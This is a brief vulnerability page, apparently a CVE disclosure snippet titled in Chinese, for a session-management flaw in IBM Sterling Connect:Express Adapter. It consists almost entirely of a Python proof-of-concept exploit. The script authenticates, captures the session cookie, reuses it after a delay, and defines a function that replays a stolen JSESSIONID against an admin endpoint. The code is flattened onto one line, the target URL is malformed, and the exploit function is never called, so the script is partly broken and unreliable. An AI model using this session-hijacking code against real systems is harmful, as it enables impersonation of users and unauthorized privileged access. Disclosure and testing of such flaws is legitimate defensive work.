CVE-2025-36065 | IBM Sterling Connect:Express Adapter 会话管理漏洞

import requests import time # CVE-2025-36065 PoC - Session Management Vulnerability in IBM Sterling Connect:Express # This PoC demonstrates the session not being invalidated after browser closure target_url = "https://target-ibm-server.com Sterling Connect:Express/" # Step 1: Authenticate with valid credentials login_data = { "username": "[email protected]", "password": "AttackerPassword123" } session = requests.Session() response = session.post(f"{target_url}/j_security_check", data=login_data) # Step 2: Extract session cookie after successful authentication session_cookie = session.cookies.get_dict() print(f"[*] Session Cookie obtained: {session_cookie}") # Step 3: Simulate browser closure by making request after delay # In real scenario, user would close browser here time.sleep(10) # Step 4: Attempt to use the same session cookie (should fail if properly invalidated) response = session.get(f"{target_url}/protected/resource", cookies=session_cookie) if response.status_code == 200: print("[!] VULNERABLE: Session still valid after browser closure!") print(f"[*] Attacker can impersonate user with cookie: {session_cookie}") else: print("[*] Session properly invalidated - not vulnerable") # Step 5: If vulnerable, impersonate another user # Attackers can use stolen session cookies to bypass authentication def exploit_with_stolen_cookie(cookie_value): exploit_session = requests.Session() exploit_session.cookies.set("JSESSIONID", cookie_value) response = exploit_session.get(f"{target_url}/admin/privileged-action") return response.status_code == 200 print("[*] CVE-2025-36065 PoC Complete")